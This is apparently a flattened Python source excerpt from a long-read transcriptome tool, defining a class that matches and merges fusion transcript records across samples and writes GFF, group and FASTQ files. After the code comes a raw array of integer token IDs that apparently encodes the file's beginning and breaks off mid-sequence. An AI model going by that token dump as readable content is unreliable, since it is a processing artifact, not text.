fastq_filename2 is not None and self.fastq_dict is not None if use_fq: fastq_dict2 = MegaPBTree.read_fastq_to_dict(fastq_filename2) group_info2 = MegaPBTree.read_group(group_filename2, sample_prefix2) # currently: rec_list is (r1s, r2) where r1s, r2 are records and could be None # make rec_list into list of MatchRec (ref_id, addon_id, representative rec, seqrec, group_info members) new_rec_list = [] for r1s, r2 in rec_list: if r2 is None: for r1 in r1s: new_rec_list.append( MatchRecord( ref_id=r1.seqid, addon_id="NA", rec=r1, members=self.group_info[r1.seqid], seqrec=self.fastq_dict[r1.seqid] if use_fq else None, ) ) elif r1s is None: new_rec_list.append( MatchRecord( ref_id="NA", addon_id=r2.seqid, rec=r2, members=group_info2[r2.seqid], seqrec=fastq_dict2[r2.seqid] if use_fq else None, ) ) else: for r1 in r1s: if len(r1s) > 1: continue # logger.info(f"matching {r1} to {r2}") rep = find_representative_in_iso_list([r1, r2]) new_rec_list.append( MatchRecord( ref_id=r1.seqid, addon_id=r2.seqid, rec=rep, members=self.group_info[r1.seqid] + group_info2[r2.seqid], seqrec=self.fastq_dict[rep.seqid] if use_fq else None, ) ) new_group_info = write_reclist_to_gff_n_info( new_rec_list, output_prefix, self.self_prefix, sample_prefix2, use_fq ) return new_group_info class MegaPBTreeFusion(MegaPBTree): def __init__( self, gff_filename: Union[str, Path], group_filename: Union[str, Path], internal_fuzzy_max_dist: int = 0, self_prefix: str = None, fastq_filename: Union[str, Path] = None, fusion_max_dist: int = 10, ): """ Differences with non-fusion MegaPBTree: 1. allow_5merge is always FALSE. Not a parameter. 2. fusion_max_dist --- maximum allowed distance on internal fusion sites to be called as equivalent fusions """ super().__init__( gff_filename, group_filename, internal_fuzzy_max_dist, self_prefix, False, fastq_filename, ) self.fusion_max_dist = fusion_max_dist # ex: PBfusion.1 -> [PBfusion.1.1, PBfusion.1.2] self.record_d_fusion = { fusion_id: records for fusion_id, records in GFF.collapseGFFFusionReader(gff_filename) } def junction_match_check_5(self, r1: GFF.gmapRecord, r2: GFF.gmapRecord) -> bool: if r1.strand == "+": return ( abs(r1.ref_exons[0].start - r2.ref_exons[0].start) <= self.fusion_max_dist ) else: return ( abs(r1.ref_exons[-1].end - r2.ref_exons[-1].end) <= self.fusion_max_dist ) def junction_match_check_3(self, r1: GFF.gmapRecord, r2: GFF.gmapRecord) -> bool: if r1.strand == "+": return ( abs(r1.ref_exons[-1].end - r2.ref_exons[-1].end) <= self.fusion_max_dist ) else: return ( abs(r1.ref_exons[0].start - r2.ref_exons[0].start) <= self.fusion_max_dist ) def match_record_to_tree( self, r: GFF.gmapRecord, check_5_dist: bool, check_3_dist: bool ) -> List[str]: """ Matching a single record (locus). Major diff from non-fusion version: 1. there could be multiple matches! 2. no 5merge allowed 3. additionally checks if the 5'/3' ends don't disagree too much (fusion_max_dist). this is used for fusion junctions. 4. need to take care that fusions can be multi-chromosome! write output correctly!!! """ matches = self.tree[r.chr][r.strand].find(r.start, r.end) result = [] for r2 in matches: r.segments = r.ref_exons r2.segments = r2.ref_exons if ( compare_junctions.compare_junctions( r, r2, internal_fuzzy_max_dist=self.internal_fuzzy_max_dist ) == "exact" and (not check_5_dist or self.junction_match_check_5(r, r2)) and (not check_3_dist or self.junction_match_check_3(r, r2)) ): # is a match! result.append(r2.seqid) return result def check_records_match( self, records1: GFF.gmapRecord, records2: GFF.gmapRecord ) -> bool: """ records1, records2 are two fusion records. They match iff: 1. same number of records 2. each record (a loci) matches """ if len(records1) != len(records2): return False i = 0 for r1, r2 in zip(records1, records2): # check: chr, strand, exons match if r1.chr != r2.chr or r1.strand != r2.strand: return False r1.segments = r1.ref_exons r2.segments = r2.ref_exons if ( compare_junctions.compare_junctions( r1, r2, internal_fuzzy_max_dist=self.internal_fuzzy_max_dist ) != "exact" ): return False if i == 0: # first record, only need 3' to agree if not self.junction_match_check_3(r1, r2): return False elif i == len(records1) - 1: # last record, only need 5' to agree if not self.junction_match_check_5(r1, r2): return False else: if not self.junction_match_check_5(r1, r2): return False if not self.junction_match_check_3(r1, r2): return False i += 1 return True def match_fusion_record( self, records: List[GFF.gmapRecord] ) -> Optional[GFF.gmapRecord]: """ records --- in order, the records of a single fusion. """ good = [] # match the first record, requiring additionally that the precise 3' end matches cands = self.match_record_to_tree( records[0], check_5_dist=False, check_3_dist=True ) # for each candidate (ex: PB.8.1, extract the full set of records and match them) for cand in cands: m = seqid_rex.match(cand) fusion_id = m.group(1) if self.check_records_match(records, self.record_d_fusion[fusion_id]): good.append(fusion_id) if len(good) == 0: return None elif len(good) == 1: return good[0] else: logger.error( "ERROR! more than one possible candidate in match_fusion_record! DEBUG." ) logger.error(f"MATCHED: {good}") sys.exit(-1) def add_sample( self, gff_filename: Union[str, Path], group_filename: Union[str, Path], sample_prefix: str, output_prefix: str, fastq_filename: Optional[Union[str, Path]] = None, ) -> None: combined = ( [] ) # list of (r1 if r2 is None | r2 if r1 is None | longer of r1 or r2 if both not None) unmatched_recs = list(self.record_d_fusion.keys()) for _, records in GFF.collapseGFFFusionReader(gff_filename): match_seqid = self.match_fusion_record(records) if match_seqid is not None: combined.append((self.record_d_fusion[match_seqid], records)) try: unmatched_recs.remove(match_seqid) except ValueError: pass # already deleted, OK, this happens for single-exon transcripts else: # r is not present in current tree combined.append((None, records)) # put whatever is left from the tree in for seqid in unmatched_recs: combined.append((self.record_d_fusion[seqid], None)) # create a ClusterTree to re-calc the loci/transcripts final_tree = defaultdict( lambda: {"+": ClusterTree(0, 0), "-": ClusterTree(0, 0)} ) for i, (r1s, r2s) in enumerate(combined): if r2s is None or ( r1s is not None and r1s[0].end - r1s[0].start > r2s[0].end - r2s[0].start ): final_tree[r1s[0].chr][r1s[0].strand].insert( r1s[0].start, r1s[0].end, i ) else: final_tree[r2s[0].chr][r2s[0].strand].insert( r2s[0].start, r2s[0].end, i ) self.write_cluster_tree_as_gff( final_tree, combined, group_filename, sample_prefix, output_prefix, fastq_filename2=fastq_filename, ) def write_cluster_tree_as_gff( self, cluster_tree: ClusterTree, rec_list: List[GFF.gmapRecord], group_filename2: Union[str, Path], sample_prefix2: str, output_prefix: str, fastq_filename2: Optional[Union[str, Path]] = None, ) -> Dict[str, str]: """ Write ClusterTree (chr --> dict --> (start, end, rec_list_index)) as collapsedGFF format Returns --- a new group_info!!! """ if fastq_filename2 is not None: fastq_dict2 = MegaPBTree.read_fastq_to_dict(fastq_filename2) f_fastq = Path(f"{output_prefix}.rep.fq") group_info2 = MegaPBTree.read_group(group_filename2, sample_prefix2) new_group_info = {} with open(f"{output_prefix}.mega_info.txt", "w") as f_mgroup: f_mgroup.write(f"pbid\t{self.self_prefix}\t{sample_prefix2}\n") fusion_index = 0 chroms = list(cluster_tree.keys()) chroms.sort() for ( k ) in ( chroms ): # IMPORTANT: for fusion, this is *just* the chrom of the first record! Fusions can be multi-chrom for strand in ("+", "-"): for *_, rec_indices in cluster_tree[k][strand].getregions(): for i in rec_indices: fusion_index += 1 tID = f"PBfusion.{fusion_index}" r1s, r2s = rec_list[i] if r1s is None: # r2s is not None recs = r2s r2_fusion_id = get_fusion_id(r2s[0].seqid) new_group_info[tID] = group_info2[r2_fusion_id] f_mgroup.write(f"{tID}\tNA\t{r2_fusion_id}\n") if fastq_filename2 is not None: seqrec = fastq_dict2[r2_fusion_id] elif r2s is None: # r1 is not None recs = r1s r1_fusion_id = get_fusion_id(r1s[0].seqid) new_group_info[tID] = self.group_info[r1_fusion_id] f_mgroup.write(f"{tID}\t{r1_fusion_id}\tNA\n") if fastq_filename2 is not None: seqrec = self.fastq_dict[r1_fusion_id] else: # both r1, r2 are not empty r1_fusion_id = get_fusion_id(r1s[0].seqid) r2_fusion_id = get_fusion_id(r2s[0].seqid) r1_len = sum(x.end - x.start for x in r1s) r2_len = sum(x.end - x.start for x in r2s) if r1_len > r2_len: recs = r1s if fastq_filename2 is not None: seqrec = self.fastq_dict[r1_fusion_id] else: recs = r2s if fastq_filename2 is not None: seqrec = fastq_dict2[r2_fusion_id] new_group_info[tID] = ( self.group_info[r1_fusion_id] + group_info2[r2_fusion_id] ) f_mgroup.write( f"{tID}\t{r1_fusion_id}\t{r2_fusion_id}\n" ) if fastq_filename2 is not None: seqrec.id = tID SeqIO.write(seqrec, open(f_fastq, "w"), "fastq") with open(f"{output_prefix}.group.txt", "w") as f_group: f_group.write( f"{tID}\t{','.join(new_group_info[tID])}\n" ) with open(f"{output_prefix}.gff", "w") as f_out: # now write out the fusion transcript for j, r in enumerate(recs): f_out.write( f'{r.chr}\tPacBio\ttranscript\t{r.start + 1}\t{r.end}\t.\t{strand}\t.\tgene_id "{tID}"; transcript_id "{tID}.{j + 1}";\n' ) for exon in r.ref_exons: f_out.write( f'{r.chr}\tPacBio\texon\t{exon.start + 1}\t{exon.end}\t.\t{strand}\t.\tgene_id "{tID}"; transcript_id "{tID}.{j + 1}";\n' ) return new_group_info
[ 1, 4770, 8921, 1649, 353, 9872, 26862, 6227, 11903, 13, 13, 13, 5215, 337, 13, 5215, 10876, 13, 3166, 16250, 1053, 2322, 8977, 29892, 4257, 23583, 13, 3166, 11799, 1053, 360, 919, 10507, 13, 3166, 2224, 1982, 1053, 10802, 13, 3166, 19229, 1053, 3139, 29892, 360, 919, 29892, 2391, 29892, 28379, 29892, 7761, 13, 13, 3166, 21184, 1053, 25981, 5971, 13, 3166, 289, 29916, 29889, 19207, 29879, 1053, 4124, 791, 9643, 13, 3166, 289, 29916, 29889, 19207, 29879, 29889, 19594, 1053, 2233, 5402, 9643, 13, 13, 3166, 18002, 1113, 446, 1053, 18002, 1113, 446, 29918, 21707, 408, 17927, 13, 3166, 18002, 1113, 446, 29889, 16506, 1053, 402, 4198, 13, 3166, 18002, 1113, 446, 29889, 517, 21154, 1053, 7252, 29918, 29926, 651, 29879, 13, 13, 11762, 333, 29918, 276, 29916, 353, 337, 29889, 12198, 29898, 29878, 29908, 1194, 29905, 29903, 29974, 1966, 29889, 1966, 29881, 29974, 18775, 29889, 1194, 29905, 29881, 29974, 25760, 13, 13, 9652, 9182, 353, 4257, 23583, 29898, 13, 1678, 376, 9652, 9182, 613, 6796, 999, 29918, 333, 613, 376, 1202, 265, 29918, 333, 613, 376, 3757, 613, 376, 28109, 613, 376, 11762, 3757, 3108, 13, 29897, 13, 13, 13, 1753, 1284, 29918, 276, 6338, 1230, 29918, 262, 29918, 10718, 29918, 1761, 29898, 3757, 4339, 29901, 2391, 29961, 29954, 4198, 29889, 29887, 1958, 9182, 2314, 1599, 402, 4198, 29889, 29887, 1958, 9182, 29901, 13, 1678, 9995, 13, 1678, 584, 3207, 6475, 29901, 1051, 310, 402, 23827, 9182, 13, 1678, 584, 2457, 29901, 21097, 2407, 393, 338, 313, 29874, 29897, 278, 1556, 1353, 310, 429, 787, 470, 769, 313, 29890, 29897, 27217, 13, 1678, 9995, 13, 1678, 1634, 353, 6475, 29961, 29900, 29962, 13, 1678, 363, 364, 297, 6475, 29961, 29896, 29901, 5387, 13, 4706, 565, 7431, 29898, 3445, 29889, 999, 29918, 735, 787, 29897, 529, 7431, 29898, 29878, 29889, 999, 29918, 735, 787, 29897, 470, 313, 3445, 29889, 355, 448, 1634, 29889, 2962, 29897, 529, 313, 13, 9651, 364, 29889, 355, 448, 364, 29889, 2962, 13, 308, 1125, 13, 9651, 1634, 353, 364, 13, 1678, 736, 1634, 13, 13, 13, 1753, 9753, 537, 29918, 3198, 29918, 11762, 4841, 29898, 11762, 4841, 29901, 2391, 29961, 710, 29962, 1125, 13, 1678, 363, 19359, 333, 297, 19359, 4841, 29901, 13, 4706, 286, 353, 19359, 333, 29918, 276, 29916, 29889, 4352, 29898, 11762, 333, 29897, 13, 4706, 565, 286, 338, 6213, 29901, 13, 9651, 17927, 29889, 2704, 29898, 13, 18884, 285, 29908, 1252, 6021, 3553, 3402, 313, 735, 29901, 349, 29933, 29889, 29896, 29889, 29906, 29897, 451, 5643, 491, 426, 11762, 333, 29913, 29991, 1976, 441, 3850, 13, 9651, 1723, 13, 9651, 10876, 29889, 13322, 6278, 29896, 29897, 13, 13, 13, 1753, 679, 29918, 29888, 3958, 29918, 333, 29898, 11762, 333, 29901, 851, 29897, 1599, 851, 29901, 13, 1678, 286, 353, 19359, 333, 29918, 276, 29916, 29889, 4352, 29898, 11762, 333, 29897, 13, 1678, 736, 286, 29889, 2972, 29898, 29896, 29897, 13, 13, 13, 1753, 2436, 29918, 276, 695, 391, 29918, 517, 29918, 29887, 600, 29918, 29876, 29918, 3888, 29898, 13, 1678, 1162, 29918, 1761, 29901, 360, 919, 29961, 710, 29892, 3139, 1402, 13, 1678, 2186, 29918, 13506, 29901, 851, 29892, 13, 1678, 2143, 29918, 978, 29901, 851, 29892, 13, 1678, 788, 265, 29918, 978, 29901, 851, 29892, 13, 1678, 671, 29918, 29888, 29939, 29901, 6120, 353, 7700, 29892, 13, 29897, 1599, 360, 919, 29961, 710, 29892, 851, 5387, 13, 1678, 396, 1286, 748, 1549, 278, 1162, 1051, 322, 4377, 714, 297, 825, 1797, 591, 526, 1962, 1259, 278, 3001, 6475, 13, 1678, 5447, 353, 2322, 8977, 29898, 2892, 29901, 8853, 29974, 1115, 2233, 5402, 9643, 29898, 29900, 29892, 29871, 29900, 511, 11663, 1115, 2233, 5402, 9643, 29898, 29900, 29892, 29871, 29900, 26972, 13, 1678, 5447, 29918, 8149, 29918, 21574, 353, 731, 580, 13, 1678, 5447, 29918, 8149, 29918, 2312, 353, 731, 580, 13, 1678, 363, 474, 29892, 1993, 29918, 3757, 297, 26985, 29898, 3757, 29918, 1761, 1125, 13, 4706, 5447, 29961, 4352, 29918, 3757, 29889, 3757, 29889, 22495, 3816, 4352, 29918, 3757, 29889, 3757, 29889, 710, 392, 1822, 7851, 29898, 13, 9651, 1993, 29918, 3757, 29889, 3757, 29889, 2962, 29892, 1993, 29918, 3757, 29889, 3757, 29889, 355, 29892, 474, 13, 4706, 1723, 13, 13, 1678, 363, 25173, 297, 5447, 29901, 13, 4706, 1018, 29901, 13, 9651, 413, 353, 938, 29898, 27433, 29897, 13, 9651, 5447, 29918, 8149, 29918, 21574, 29889, 1202, 29898, 29895, 29897, 13, 4706, 5174, 7865, 2392, 29901, 13, 9651, 5447, 29918, 8149, 29918, 2312, 29889, 1202, 29898, 27433, 29897, 13, 1678, 5447, 29918, 8149, 353, 12705, 29898, 8336, 29918, 8149, 29918, 21574, 29897, 718, 12705, 29898, 8336, 29918, 8149, 29918, 2312, 29897, 13, 13, 1678, 9227, 29918, 3888, 353, 360, 919, 10507, 29898, 13, 4706, 10802, 29898, 29888, 29908, 29912, 8394, 29918, 13506, 1836, 29885, 2442, 29918, 3888, 29889, 3945, 2564, 3150, 703, 29893, 4968, 13, 4706, 1746, 7039, 29922, 3366, 9136, 29925, 29933, 1367, 613, 2143, 29918, 978, 29892, 788, 265, 29918, 978, 1402, 13, 4706, 28552, 543, 29905, 29873, 613, 13, 1678, 1723, 13, 1678, 9227, 29918, 3888, 29889, 3539, 6672, 580, 13, 1678, 565, 671, 29918, 29888, 29939, 29901, 13, 4706, 285, 29918, 29888, 29939, 353, 10802, 29898, 29888, 29908, 29912, 8394, 29918, 13506, 1836, 3445, 29889, 29888, 29939, 1159, 13, 1678, 411, 1722, 29898, 29888, 29908, 29912, 8394, 29918, 13506, 1836, 29887, 600, 613, 376, 29893, 1159, 408, 285, 29918, 29887, 600, 29892, 1722, 29898, 13, 4706, 285, 29908, 29912, 8394, 29918, 13506, 1836, 2972, 29889, 3945, 613, 376, 29893, 29908, 13, 1678, 1723, 408, 285, 29918, 2972, 29901, 13, 4706, 716, 29918, 2972, 29918, 3888, 353, 6571, 13, 13, 4706, 282, 29890, 29918, 29875, 353, 29871, 29900, 13, 4706, 363, 903, 22495, 297, 5447, 29918, 8149, 29901, 13, 9651, 363, 903, 710, 392, 297, 4852, 29974, 613, 11663, 29908, 1125, 13, 18884, 363, 334, 3383, 903, 513, 1575, 297, 5447, 28513, 22495, 3816, 29918, 710, 392, 1822, 657, 1727, 1080, 7295, 13, 462, 1678, 396, 4340, 2656, 1438, 6475, 491, 313, 2962, 29892, 1095, 29892, 954, 29918, 735, 787, 29897, 13, 462, 1678, 903, 513, 1575, 29889, 6605, 29898, 13, 462, 4706, 1820, 29922, 2892, 474, 29901, 313, 13, 462, 9651, 1162, 29918, 1761, 29961, 29875, 1822, 3757, 29889, 2962, 29892, 13, 462, 9651, 1162, 29918, 1761, 29961, 29875, 1822, 3757, 29889, 355, 29892, 13, 462, 9651, 7431, 29898, 3757, 29918, 1761, 29961, 29875, 1822, 3757, 29889, 999, 29918, 735, 787, 511, 13, 462, 4706, 1723, 13, 462, 1678, 1723, 13, 462, 1678, 282, 29890, 29918, 29875, 4619, 29871, 29896, 13, 462, 1678, 363, 282, 29890, 29918, 29926, 29892, 1162, 29879, 29918, 2248, 297, 26985, 7373, 513, 1575, 1125, 13, 462, 4706, 282, 23883, 353, 285, 29908, 29925, 29933, 29889, 29912, 24381, 29918, 29875, 1836, 29912, 24381, 29918, 29926, 718, 29871, 29896, 5038, 13, 462, 4706, 1993, 29918, 3757, 353, 1162, 29918, 1761, 29961, 276, 2395, 29918, 2248, 29962, 13, 462, 4706, 716, 29918, 2972, 29918, 3888, 29961, 29886, 23883, 29962, 353, 1993, 29918, 3757, 29889, 28109, 13, 462, 4706, 1993, 29918, 3757, 29889, 3757, 29889, 11762, 333, 353, 282, 23883, 13, 462, 4706, 402, 4198, 29889, 3539, 29918, 27756, 29954, 4198, 29918, 4830, 29898, 29888, 29918, 29887, 600, 29892, 1993, 29918, 3757, 29889, 3757, 29897, 13, 462, 4706, 9227, 29918, 3888, 29889, 13236, 340, 29898, 13, 462, 9651, 426, 13, 462, 18884, 376, 9136, 29925, 29933, 1367, 1115, 282, 23883, 29892, 13, 462, 18884, 2143, 29918, 978, 29901, 1993, 29918, 3757, 29889, 999, 29918, 333, 29892, 13, 462, 18884, 788, 265, 29918, 978, 29901, 1993, 29918, 3757, 29889, 1202, 265, 29918, 333, 29892, 13, 462, 9651, 500, 13, 462, 4706, 1723, 13, 462, 4706, 285, 29918, 2972, 29889, 3539, 29898, 29888, 29908, 29912, 29886, 23883, 1012, 29873, 29912, 3788, 29889, 7122, 29898, 4352, 29918, 3757, 29889, 28109, 11383, 29876, 1159, 13, 462, 4706, 565, 671, 29918, 29888, 29939, 29901, 13, 462, 9651, 1993, 29918, 3757, 29889, 11762, 3757, 29889, 333, 353, 282, 23883, 13, 462, 9651, 1993, 29918, 3757, 29889, 11762, 3757, 29889, 8216, 353, 5124, 13, 462, 9651, 25981, 5971, 29889, 3539, 29898, 4352, 29918, 3757, 29889, 11762, 3757, 29892, 285, 29918, 29888, 29939, 29892, 376, 11255, 29939, 1159, 13, 13, 1678, 736, 716, 29918, 2972, 29918, 3888, 13, 13, 13, 1990, 341, 2442, 29925, 29933, 9643, 29901, 13, 1678, 9995, 13, 1678, 3767, 12425, 363, 7344, 292, 263, 1661, 29899, 9313, 299, 424, 731, 310, 18530, 25495, 13, 1678, 501, 8485, 304, 14405, 411, 1422, 784, 23384, 402, 4198, 29879, 515, 1422, 11916, 13, 1678, 9995, 13, 13, 1678, 822, 4770, 2344, 12035, 13, 4706, 1583, 29892, 13, 4706, 330, 600, 29918, 9507, 29901, 851, 29892, 13, 4706, 2318, 29918, 9507, 29901, 851, 29892, 13, 4706, 7463, 29918, 29888, 3365, 1537, 29918, 3317, 29918, 5721, 29901, 938, 353, 29871, 29900, 29892, 13, 4706, 1583, 29918, 13506, 29901, 28379, 29961, 710, 29962, 353, 6213, 29892, 13, 4706, 2758, 29918, 29945, 14634, 29901, 6120, 353, 7700, 29892, 13, 4706, 5172, 29939, 29918, 9507, 29901, 28379, 29961, 710, 29962, 353, 6213, 29892, 13, 4706, 4236, 29918, 29941, 29918, 12765, 29901, 28379, 29961, 524, 29962, 353, 6213, 29892, 13, 268, 1125, 13, 4706, 1583, 29889, 29887, 600, 29918, 9507, 353, 330, 600, 29918, 9507, 13, 4706, 1583, 29889, 2972, 29918, 9507, 353, 2318, 29918, 9507, 13, 4706, 1583, 29889, 1311, 29918, 13506, 353, 1583, 29918, 13506, 13, 4706, 1583, 29889, 7564, 29918, 29888, 3365, 1537, 29918, 3317, 29918, 5721, 353, 7463, 29918, 29888, 3365, 1537, 29918, 3317, 29918, 5721, 13, 4706, 1583, 29889, 3317, 29918, 29941, 29918, 12765, 353, 4236, 29918, 29941, 29918, 12765, 13, 4706, 1583, 29889, 9536, 29918, 29945, 14634, 353, 2758, 29918, 29945, 14634, 13, 4706, 1583, 29889, 11651, 29918, 29881, 353, 426, 29878, 29889, 11762, 333, 29901, 364, 363, 364, 297, 402, 4198, 29889, 27756, 29954, 4198, 6982, 29898, 29887, 600, 29918, 9507, 2915, 13, 4706, 396, 9753, 537, 29918, 3198, 29918, 11762, 4841, 29898, 1311, 29889, 11651, 29918, 29881, 29889, 8149, 3101, 396, 9753, 537, 1423, 599, 23481, 1106, 763, 349, 29933, 29889, 29896, 29889, 29906, 13, 4706, 1583, 29889, 8336, 353, 2322, 8977, 29898, 13, 9651, 14013, 29901, 8853, 29974, 1115, 4124, 791, 9643, 3285, 11663, 1115, 4124, 791, 9643, 28296, 13, 4706, 1723, 29871, 396, 18460, 6660, 851, 392, 6660, 5447, 13, 4706, 1583, 29889, 11255, 29939, 29918, 8977, 353, 6213, 13, 4706, 565, 5172, 29939, 29918, 9507, 338, 451, 6213, 29901, 13, 9651, 1583, 29889, 11255, 29939, 29918, 8977, 353, 341, 2442, 29925, 29933, 9643, 29889, 949, 29918, 11255, 29939, 29918, 517, 29918, 8977, 29898, 11255, 29939, 29918, 9507, 29897, 13, 13, 4706, 396, 1596, 5099, 10876, 29889, 303, 20405, 29892, 376, 1311, 29889, 7564, 29918, 29888, 3365, 1537, 29918, 3317, 29918, 5721, 338, 613, 7463, 29918, 29888, 3365, 1537, 29918, 3317, 29918, 5721, 13, 4706, 396, 10650, 29918, 2080, 580, 13, 4706, 1583, 29889, 949, 29918, 29887, 600, 29918, 294, 29918, 19207, 29918, 8336, 580, 13, 4706, 1583, 29889, 2972, 29918, 3888, 353, 341, 2442, 29925, 29933, 9643, 29889, 949, 29918, 2972, 29898, 13, 9651, 1583, 29889, 2972, 29918, 9507, 29892, 1583, 29889, 1311, 29918, 13506, 13, 4706, 1723, 29871, 396, 429, 29901, 349, 29933, 29889, 29896, 29889, 29896, 6660, 518, 17450, 3868, 442, 29989, 29875, 29941, 29918, 29883, 29896, 29906, 29941, 3045, 4514, 13, 13, 1678, 822, 1303, 29918, 29887, 600, 29918, 294, 29918, 19207, 29918, 8336, 29898, 1311, 1125, 13, 4706, 9995, 13, 4706, 7523, 263, 784, 23384, 402, 4198, 934, 964, 385, 4124, 791, 9643, 13, 4706, 9995, 13, 4706, 363, 364, 297, 402, 4198, 29889, 27756, 29954, 4198, 6982, 29898, 1311, 29889, 29887, 600, 29918, 9507, 1125, 13, 9651, 1583, 29889, 8336, 29961, 29878, 29889, 22495, 3816, 29878, 29889, 710, 392, 1822, 7851, 29898, 29878, 29889, 2962, 29892, 364, 29889, 355, 29892, 364, 29897, 13, 13, 1678, 732, 7959, 5696, 13, 1678, 822, 1303, 29918, 11255, 29939, 29918, 517, 29918, 8977, 29898, 13, 4706, 5172, 29939, 29918, 9507, 29901, 7761, 29961, 710, 29892, 10802, 29962, 13, 1678, 1723, 1599, 360, 919, 29961, 710, 29892, 25981, 5971, 29889, 23718, 9182, 5387, 13, 4706, 5172, 29939, 29918, 8977, 353, 6571, 13, 4706, 363, 364, 297, 25981, 5971, 29889, 5510, 29898, 3150, 29898, 11255, 29939, 29918, 9507, 511, 376, 11255, 29939, 29908, 1125, 13, 9651, 5172, 29939, 29918, 8977, 29961, 29878, 29889, 333, 29889, 5451, 703, 29989, 1159, 29961, 29900, 5262, 353, 364, 13, 4706, 736, 5172, 29939, 29918, 8977, 13, 13, 1678, 732, 7959, 5696, 13, 1678, 822, 1303, 29918, 2972, 29898, 13, 4706, 2318, 29918, 9507, 29901, 7761, 29961, 710, 29892, 10802, 1402, 2318, 29918, 13506, 29901, 851, 13, 1678, 1723, 1599, 360, 919, 29961, 710, 29892, 2391, 29961, 710, 5262, 29901, 13, 4706, 2318, 29918, 3888, 353, 6571, 13, 4706, 411, 1722, 29898, 2972, 29918, 9507, 29897, 408, 285, 29901, 13, 9651, 363, 1196, 297, 285, 29901, 13, 18884, 282, 23883, 29892, 5144, 353, 1196, 29889, 17010, 2141, 5451, 14182, 29873, 1159, 13, 18884, 565, 2318, 29918, 13506, 338, 6213, 29901, 13, 462, 1678, 2318, 29918, 3888, 29961, 29886, 23883, 29962, 353, 1051, 29898, 28109, 29889, 5451, 29898, 3284, 876, 13, 18884, 1683, 29901, 13, 462, 1678, 2318, 29918, 3888, 29961, 29886, 23883, 29962, 353, 518, 13, 462, 4706, 285, 29908, 29912, 2972, 29918, 13506, 11079, 29912, 29916, 5038, 363, 921, 297, 5144, 29889, 5451, 28165, 1159, 13, 462, 1678, 4514, 13, 4706, 736, 2318, 29918, 3888, 13, 13, 1678, 822, 1993, 29918, 11651, 29918, 517, 29918, 8336, 29898, 1311, 29892, 364, 29901, 402, 4198, 29889, 29887, 1958, 9182, 29897, 1599, 402, 4198, 29889, 29887, 1958, 9182, 29901, 13, 4706, 9995, 13, 4706, 364, 11474, 402, 23827, 9182, 13, 4706, 5447, 11474, 9657, 310, 25173, 359, 608, 6660, 851, 392, 6660, 4124, 791, 9643, 13, 13, 4706, 960, 2684, 1993, 313, 17991, 429, 265, 432, 651, 29897, 470, 29871, 29945, 29915, 21022, 630, 313, 9536, 29918, 29945, 14634, 338, 5852, 511, 612, 29902, 27286, 278, 9686, 402, 23827, 9182, 29898, 29879, 29897, 13, 4706, 334, 12256, 29923, 29914, 14474, 29930, 29901, 1033, 505, 2999, 7087, 29991, 1723, 13, 4706, 9995, 13, 4706, 396, 565, 364, 29889, 22495, 1360, 29915, 22495, 29896, 29955, 29915, 322, 364, 29889, 2962, 1405, 29871, 29941, 29929, 29953, 29900, 29946, 29900, 29900, 29900, 29901, 13, 4706, 396, 1678, 282, 2585, 29889, 842, 29918, 15003, 580, 13, 4706, 7087, 353, 1583, 29889, 8336, 29961, 29878, 29889, 22495, 3816, 29878, 29889, 710, 392, 1822, 2886, 29898, 29878, 29889, 2962, 29892, 364, 29889, 355, 29897, 13, 4706, 363, 364, 29906, 297, 7087, 29901, 13, 9651, 364, 29889, 10199, 1860, 353, 364, 29889, 999, 29918, 735, 787, 29871, 396, 278, 23235, 6251, 13, 9651, 364, 29906, 29889, 10199, 1860, 353, 364, 29906, 29889, 999, 29918, 735, 787, 29871, 396, 385, 5923, 9976, 297, 278, 5447, 13, 9651, 302, 29896, 353, 7431, 29898, 29878, 29889, 10199, 1860, 29897, 29871, 396, 920, 1784, 429, 787, 29973, 13, 9651, 302, 29906, 353, 7431, 29898, 29878, 29906, 29889, 10199, 1860, 29897, 13, 13, 9651, 2211, 29918, 355, 29918, 275, 29918, 4352, 353, 313, 13, 18884, 1583, 29889, 3317, 29918, 29941, 29918, 12765, 338, 6213, 13, 18884, 470, 313, 29878, 29889, 710, 392, 1275, 376, 13578, 322, 6425, 29898, 29878, 29889, 355, 448, 364, 29906, 29889, 355, 29897, 5277, 1583, 29889, 3317, 29918, 29941, 29918, 12765, 29897, 13, 18884, 470, 313, 29878, 29889, 710, 392, 1275, 11663, 29908, 322, 6425, 29898, 29878, 29889, 2962, 448, 364, 29906, 29889, 2962, 29897, 5277, 1583, 29889, 3317, 29918, 29941, 29918, 12765, 29897, 13, 9651, 1723, 29871, 396, 2845, 3078, 29892, 577, 3692, 278, 29871, 29941, 29915, 10614, 376, 4352, 29908, 313, 2541, 262, 2769, 29897, 13, 13, 9651, 1833, 29918, 29926, 651, 29918, 4352, 353, 7700, 13, 9651, 565, 313, 13, 18884, 302, 29896, 1275, 29871, 29896, 13, 632, 1125, 29871, 396, 13674, 29892, 565, 727, 338, 925, 278, 697, 429, 265, 363, 1716, 29892, 5251, 896, 526, 278, 1021, 13, 18884, 565, 302, 29906, 1275, 29871, 29896, 29901, 13, 462, 1678, 1833, 29918, 29926, 651, 29918, 4352, 353, 5852, 13, 18884, 1683, 29901, 13, 462, 1678, 1833, 29918, 29926, 651, 29918, 4352, 353, 7700, 13, 9651, 1683, 29901, 13, 18884, 565, 302, 29906, 1275, 29871, 29896, 29901, 13, 462, 1678, 1833, 29918, 29926, 651, 29918, 4352, 353, 7700, 13, 18884, 1683, 29901, 13, 462, 1678, 565, 364, 29889, 710, 392, 1275, 15691, 1115, 13, 462, 4706, 1833, 29918, 29926, 651, 29918, 4352, 353, 313, 13, 462, 9651, 6425, 29898, 29878, 29889, 10199, 1860, 14352, 29896, 1822, 2962, 448, 364, 29906, 29889, 10199, 1860, 14352, 29896, 1822, 2962, 29897, 13, 462, 9651, 5277, 1583, 29889, 7564, 29918, 29888, 3365, 1537, 29918, 3317, 29918, 5721, 13, 462, 4706, 1723, 322, 313, 13, 462, 9651, 6425, 29898, 29878, 29889, 10199, 1860, 29961, 29900, 1822, 355, 448, 364, 29906, 29889, 10199, 1860, 29961, 29900, 1822, 355, 29897, 13, 462, 9651, 5277, 1583, 29889, 7564, 29918, 29888, 3365, 1537, 29918, 3317, 29918, 5721, 13, 462, 4706, 1723, 29871, 396, 1993, 565, 278, 4328, 297, 278, 11909, 310, 2845, 1095, 310, 278, 937, 322, 1833, 429, 265, 526, 1090, 263, 3058, 5418, 13, 462, 1678, 1683, 29901, 13, 462, 4706, 1833, 29918, 29926, 651, 29918, 4352, 353, 313, 13, 462, 9651, 6425, 29898, 29878, 29889, 10199, 1860, 29961, 29900, 1822, 355, 448, 